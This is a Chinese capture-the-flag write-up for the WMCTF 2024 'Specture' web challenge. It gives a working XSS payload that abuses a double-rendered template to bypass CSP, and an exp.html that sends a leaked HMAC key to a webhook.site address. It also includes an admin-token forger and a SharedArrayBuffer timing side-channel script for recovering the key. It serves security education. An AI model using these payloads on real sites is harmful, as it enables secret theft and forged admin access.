WMCTF 2024

Web

Specture

info 思路
二次解析带nonce XSS->外带Hmac Token Key->伪造admin token->getflag

打开文件包一看就是Hint,看看里面的内容:

1
2
3
4
5
6
7
8
There's no `RCE`, R/W. Only `XSS`.

The following hints may help you locate the important codes more quickly:

- Line in `app.main.mjs:238`
- Function in `src/middleware.mjs:102`
- Function in `src/middleware.mjs:112`
- Line in `app.assets.mjs:32`

app.main.mjs
获取flag所需要的权限,需要获得admin身份。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root.get('/flag', cors, csp, ensureAdmin, async (ctx, next) => {
// let flag = fs.readFileSync('flag.txt');
let flag = process.env?.FLAG || 'flag{test_flag}';
ctx.body = `<pre><code>${flag}</code></pre>`
ctx.set('Content-Type', 'text/html');
});
//鉴权中间件
export async function ensureAdmin(ctx, next) {
const tokenData = parseTokenData(ctx);
if (!tokenData || tokenData.role !== 'admin') {// [!code highlight]
return ctx.throw(401);
}
ctx.token = tokenData;
await next();
}

关注源代码中设置的CSP:
code-tabs
@tab src/middleware.mjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
export async function csp(ctx, next) {
const nonce = ctx.nonce ||
crypto.randomBytes(18).toString('base64').replace(/[^a-zA-Z0-9]/g, '');
// let srcOriginPrefix = ctx.request.protocol + "://" + ctx.request.host.split(":")[0];
let srcOriginPrefix = 'http://localhost';
let assetsSrc = srcOriginPrefix + ':' + Config["assets_port"].toString();
ctx.set('Content-Security-Policy', [
['default-src', `'self'`],
['script-src', `'nonce-${nonce}'`, 'blob:', assetsSrc],// [!code highlight]
['worker-src', `'self'`, 'blob:'],
['style-src', `'nonce-${nonce}'`, 'blob:'],
['connect-src', `'self'`, 'https:'],
['object-src', `'none'`],
['base-uri', `'self'`],
['frame-src', `'self'`, 'https://challenges.cloudflare.com']
].map(a => a.join(' ')).join(';'));
await next();
}

要绕过CSP进行XSS,关注CSP中的script-src字段,设置为需要正确的nonce才能执行.
src/middleware.ejs

:collapsed-lines
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
export async function enableSAB(ctx, next) {
ctx.set('Content-Type', 'text/html');
ctx.set('Cross-Origin-Opener-Policy', 'same-origin');
ctx.set('Cross-Origin-Embedder-Policy', 'require-corp');
await next();
}
export async function template(ctx, next) {
function renderContentWithArgs(content, data) {
return content.replace(/{{ *([a-zA-Z$][a-zA-Z0-9_$]*) *}}/g, (_, key) => {
if (Object.prototype.hasOwnProperty.call(data, key)) {
if (typeof data[key] === 'undefined') return 'undefined';
if (data[key] === null) return 'null';
return data[key].toString();
} else {
return '';
}
});
}

ctx.render = async function (filepath, data) {
try {
let content = fs.readFileSync(path.resolve(filepath), 'utf-8');
// handle {{ #loop <param> }}...{{ /loop }}
content = content.replace(/{{ *#loop *([a-zA-Z$][a-zA-Z0-9_$]*) *}}([\s\S]*?){{ *\/loop *}}/g, (_, key, block) => {// [!code highlight]
if (Object.prototype.hasOwnProperty.call(data, key)) {
let arr = data[key];
return arr.map(item => renderContentWithArgs(block, item)).join('');
} else {
return '';
}
});
// handle {{ #if <param> }}...{{ /if }}
content = content.replace(/{{ *#if *([\s\S]*?) *}}([\s\S]*?){{ *\/if *}}/g, (_, condition, block) => {
if (Boolean(vm.runInNewContext(condition, data))) {
return renderContentWithArgs(block, data);
} else {
return '';
}
});
// handle {{ <param> }}
content = renderContentWithArgs(content, data);// [!code highlight]

ctx.body = content;
if (filepath.endsWith('.html')) {
ctx.set('Content-Type', 'text/html');
}
} catch (e) {
ctx.body = 'Internal Server Error';
ctx.status = 500;
console.error(ctx.request.url, e);
}
}
await next();
}

src/middleware.ejs
默认逻辑会渲染两次,会将用户输入动态渲染为实际内容,这导致了注入的script标签获取到了nonce并绕过了CSP,成功导致了XSS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.use(async (ctx, next) => {
if (ctx.path === '/share-view.dev.js') {
// if (!isDeveloper(ctx)) { return ctx.throw(403); }
let array_string = "[" + Config["token_key"].split('').map(e => e.charCodeAt(0)).join(',') + ']';
const rnd_string = (n = 0) => [...Array(n)].map(() => (~~(Math.random() * 36)).toString(36)).join('');
await ctx.render('assets/share-view.dev.js', {// [!code highlight]
token_key: array_string,
func_name: '_' + rnd_string(17),
wrapper_name: '_' + rnd_string(16),
});
ctx.set('Content-Type', 'application/javascript');
} else {
await next();
}
})

assets/share-view.dev.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const checker = (() => {

function {{ func_name }}(s, t = 0) {
try {
const X = Uint32Array;
const tk = {{ token_key }};// [!code highlight]
const p1 = new X(32), p2 = new X(32);
for (let i = 0; i < tk.length; i++) p1[i] = tk[i];
for (let i = 0; i < s.length; i++) p2[i] = s.charCodeAt(i);

return function () {
for (let i = t; i < 32; i++) {
if (p1[i] - p2[i] !== 0) {
return !1;
}
}
return !0;
}
} catch(e) { return !1; }
}

const {{ wrapper_name }} = (s, t) => {
return {{ func_name }}(s, t);
}

const wrapper = (...g) => {
return {{ wrapper_name }}(...g);
}

return wrapper;
})()

此处存在token_key泄露,通过XSS获取token_key后可伪造admin身份.
题目本意是想通过Specture侧信道漏洞泄露token_key,然而可以让bot通过meta跳转外带token_key.
前端对输入自动进行了转义,向后端直接发送请求进行绕过.
payload

1
2
</code><meta http-equiv="refresh" content="0;
url='<http://192.168.136.1:7000/exp.html>'">

exp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script>
const send_data = function(data){
var x = new XMLHttpRequest();
x.open('GET','<https://webhook.site/ce696bba-423c-42a8-9607-304316761396/?data=>'+encodeURI(data),true);
x.send();
}
var xhr = new XMLHttpRequest();
xhr.open("GET", "<http://localhost:3001/share-view.dev.js>");
xhr.onreadystatechange = function () {
try{
send_data(xhr.responseText);
}
catch(e){
console.log(e);
}
};
xhr.send();
</script>
</body>
</html>

外带获取token_key后伪造admin token后访问/flag即可获取flag.
或者也可以用fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>fetch('http://localhost:3001/share-view.dev.js')
.then(response => response.text()) // Parse the response as text
.then(data => {
const match = data.match(/const tk = \[(.*?)\]/); // Regex to match 'const tk = [ CONTENT ]'
if (match && match[1]) {
data = match[1]
}
fetch('https://SERVER/?'+window.btoa(data))
})
.catch(error => {
console.error('Error fetching the resource:', error); // Log any error
});
</script>

token.mjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import crypto from 'node:crypto';

const XOR_KETBUF = Buffer.from([0x11, 0x45, 0x14]);

function xorBuffer(databuf, keybuf) {
let res = Buffer.alloc(databuf.length);
for (let i = 0; i < databuf.length; i++) {
res[i] = databuf[i] ^ keybuf[i % keybuf.length];
}
return res;
}

function tobase64(buf, removePadding = true) {
return Buffer.from(buf).toString('base64').replace(/=/g, '');
}

function frombase64(str) {
return Buffer.from(str, 'base64');
}

// base64(data) . base64(salt ^ xorkey + hmac_sha256(data ^ xorkey + salt))
function sign(json, secret) {
let data_buf = Buffer.from(JSON.stringify(json));
let xor_buf = Buffer.from(XOR_KETBUF);
let salt_buf = crypto.randomBytes(16);

let hash = crypto.createHmac('sha256', secret);
let encdata = Buffer.concat([xorBuffer(Buffer.from(data_buf), xor_buf), salt_buf]);
hash.update(encdata);
let sig_buf = hash.digest();
let token = tobase64(data_buf) + '.' + tobase64(Buffer.concat([xorBuffer(salt_buf, xor_buf), sig_buf]));
return token;
}

function verify(token, secret) {
let [enc_data, enc_p2] = token.split('.');
let data_buf = frombase64(enc_data);
let p2_buf = frombase64(enc_p2);
let hash_bytelen = 32;
let salt_buf = xorBuffer(p2_buf.subarray(0, p2_buf.length - hash_bytelen), XOR_KETBUF);
let sig_buf = p2_buf.subarray(p2_buf.length - hash_bytelen);
let hash = crypto.createHmac('sha256', secret);
hash.update(Buffer.concat([xorBuffer(data_buf, XOR_KETBUF), salt_buf]));
let expected_sig_buf = hash.digest();
if (Buffer.compare(sig_buf, expected_sig_buf) !== 0) {
return null;
} else {
return JSON.parse(data_buf);
}
}

export default class TokenManager {
constructor(secret) {
this.sign = (json) => sign(json, secret);
this.verify = (token) => verify(token, secret);
this.data = (token) => JSON.parse(frombase64(token.split('.')[0]).toString());
}
}

伪造生成admin_token
@tab admin_token_generator.js

:collapsed-lines
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
const crypto = require('crypto');
const XOR_KEYBUF = Buffer.from([0x11, 0x45, 0x14]);

function tobase64(buf, removePadding = true) {
return Buffer.from(buf).toString('base64').replace(/=/g, '');
}

function frombase64(str) {
return Buffer.from(str, 'base64');
}

function xorBuffer(databuf, keybuf) {
let res = Buffer.alloc(databuf.length);
for (let i = 0; i < databuf.length; i++) {
res[i] = databuf[i] ^ keybuf[i % keybuf.length];
}
return res;
}

function sign(json, secret) {
let data_buf = Buffer.from(JSON.stringify(json));
let xor_buf = Buffer.from(XOR_KEYBUF);
let salt_buf = crypto.randomBytes(16);
let hash = crypto.createHmac('sha256', secret);

let encdata = Buffer.concat([xorBuffer(Buffer.from(data_buf), xor_buf), salt_buf]);
hash.update(encdata);

let sig_buf = hash.digest();

let token = tobase64(data_buf) + '.' + tobase64(Buffer.concat([xorBuffer(salt_buf, xor_buf), sig_buf]));
return token;
}

function verify(token, secret) {
let [enc_data, enc_p2] = token.split('.');
let data_buf = frombase64(enc_data);
let p2_buf = frombase64(enc_p2);
let hash_bytelen = 32;
let salt_buf = xorBuffer(p2_buf.subarray(0, p2_buf.length - hash_bytelen), XOR_KEYBUF);
let sig_buf = p2_buf.subarray(p2_buf.length - hash_bytelen);

let hash = crypto.createHmac('sha256', secret);
hash.update(Buffer.concat([xorBuffer(data_buf, XOR_KEYBUF), salt_buf]));

let expected_sig_buf = hash.digest();

if (Buffer.compare(sig_buf, expected_sig_buf) !== 0) {
return null;
} else {
return JSON.parse(data_buf);
}
}

let token = sign({ uid: 'testas51d61', role: 'admin' }, `${token_key}`);
console.log('Generated Token:', token);
console.log('Verification Result:', verify(token, `${token_key}`));

获取到token后携带token访问/flag路由即可获取flag.

侧信道攻击

1
2
3
4
5
6
7
8
9
function checkPassworkd (password) {
const correctPassword = getPassword(); // 获取正确的密码, 如"world"
for (let i = 0; i < password.length; i++) {
if (password[i] !== correctPassword[i]) {
return false;
}
}
return true; // 假定密码长度都一样
}

容易发现,传入的密码正确的字符个数越多,则上面代码运行时间越长。假设正确的密码为”hello_world”,第一次传入的值为”aaaa”,记录程序运行的时间为t1;不断修改第一个字符,直到传入为”waaa”,记录时间为t2,此时发现t2稍大于t1,且多次实验结果稳定。因此我们可以推定密码的第一个字符为’w’,其他的字符依次类推。在这个例子中,我们利用运行时间的差异,完成了一次旁路攻击。由于一个if判断的耗时是非常短的,因此我们需要非常高精度的时间。
在本题中我们可以利用SharedArrayBuffer获取高精度时间.从而泄露hmac_key来进行伪造
注意到题目所给提示指向一处注入响应头的函数:

1
2
3
4
5
6
export async function enableSAB(ctx, next) {
ctx.set('Content-Type', 'text/html');
ctx.set('Cross-Origin-Opener-Policy', 'same-origin');
ctx.set('Cross-Origin-Embedder-Policy', 'require-corp');
await next();
}

结合函数名,这些响应头确保了 SharedArrayBuffer 功能可用。
利用 SharedArrayBuffer 可以实现纳秒级的 CPU 时间获取,并曾存在幽灵漏洞(Spectre)和熔断漏洞(Meltdown)。
由于跨域问题的存在,并且 checker 函数经过了多重封装,我们无法获取到 checker 的函数体内容。但其存在逐位比较,通过超高精度的 CPU 时间,可以爆破出每个位置的字符。

checker 最终函数体如下(已替换变量名以便于阅读):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 function (password, pos_start = 0) {
try {
const X = Uint32Array;
const token_key = []; // here ascii array of token key
const p1 = new X(32), p2 = new X(32);
for (let i = 0; i < token_key.length; i++) p1[i] = token_key[i];
for (let i = 0; i < password.length; i++) p2[i] = password.charCodeAt(i);

return function () {
for (let i = pos_start; i < 32; i++) {
if (p1[i] - p2[i] !== 0) {
return false;
}
}
return true;
}
} catch(e) { return false; }
}

值得注意的是,由于 CPU 缓存的存在,多次比较可能会造成 CPU 通过缓存或分支预测的判断返回值,因此每次只比较一个位置的字符较准确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function pos_check(prefix, pos) {
// The non-alphanumeric characters are used to flush or deceive the cache
// 前面的字符用于刷新或欺骗缓存
let alphabet = " !@#$%^&*()`~[]|/';.,<>-=+ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
let plen = 16; // password length
let guess_uint32 = new Uint32Array(plen);
for (let i = 0; i < prefix.length; i++) guess_uint32[i] = prefix.charCodeAt(i);

let final = '';
console.log(`pos: ${pos}`);
let probe_map = {};
// For each pos, we will try many times
// 每一个位置的字符,重复很多次,提升频次以提高准确性
for (let t = 0; t < 199; t++) {
let map = new Uint32Array(alphabet.length);
// Test each charactor in alphabet to this pos
// 遍历 alphabet 中的每一个字符,观察其在 check 时的耗时
for (let i = 0; i < alphabet.length; i++) {
TimeCtl.reset();
let result = false;
// Generate string to guess
// Only modify `pos`, charactors after `pos` are all the last charactor in alphabet (to maximize the time)
// 生成猜测字符串,只修改 `pos` 位置,`pos` 之后的字符都是 alphabet 中最后一个字符(以最大化时间)
guess_uint32[pos] = alphabet.charCodeAt(i);
for (j = pos + 1; j < plen; j++) guess_uint32[j] = alphabet.charCodeAt(alphabet.length - 1);
let guess_str = String.fromCharCode.apply(null, guess_uint32);
// Check and record time
// 检查并记录时间间隔
const check = checker(guess_str, pos);
const begin = TimeCtl.now();
result = check();
const end = TimeCtl.now();
// Record the time of each charactor we tried at this pos
// 记录每一个所尝试字符在这个位置的消耗时间
if (Object.prototype.hasOwnProperty.call(map, i)) map[i] += end - begin;
else map[i] = end - begin;
}
// Get the most possible char at this pos
// 拥有最长的耗时的,为本次测试中最可能的字符
// [maxc: charactor]: [maxv: time gap]
let maxc = '_', maxv = 0;
for (let k = 0; k < alphabet.length; k++) {
let key = alphabet[k];
if (!/[a-zA-Z0-9]/.test(key)) continue;
if (map[k] > maxv) {
maxv = map[k];
maxc = key;
}
}
// For each pos at one time, we will record the most possible charactor
// 对于每一次测试,我们记录最可能的字符
if (/[a-zA-Z0-9]/.test(maxc)) {
if (Object.prototype.hasOwnProperty.call(probe_map, maxc)) probe_map[maxc]++;
else probe_map[maxc] = 1;
}
}
// Stat the most possible char, get the max probility one
// 统计单个测试给出的最可能的结果所出现的频次,取频次最高的字符作为作为最终在这个位置的字符
console.log(probe_map);
let maxc = '_', maxv = 0;
for (let key in probe_map) {
if (probe_map[key] > maxv) {
maxv = probe_map[key];
maxc = key;
}
}
final += maxc;
return final;
}

通过 URL Query Parameter 传递 prefixpos,并通过刷新网页传入 pos_check 函数获取到每个位置的字符。

基于时间的推断并不每次都能获得预期结果,往往需要多次尝试,基于概率进行推断。
获取到 token_key 后,利用 src/token.mjs 中的函数生成带 admin 身份的 Token,访问 /flag 路由即可获取到 flag,此为预期解法,实际难度可能更为困难,出现了出题上的非预期解法。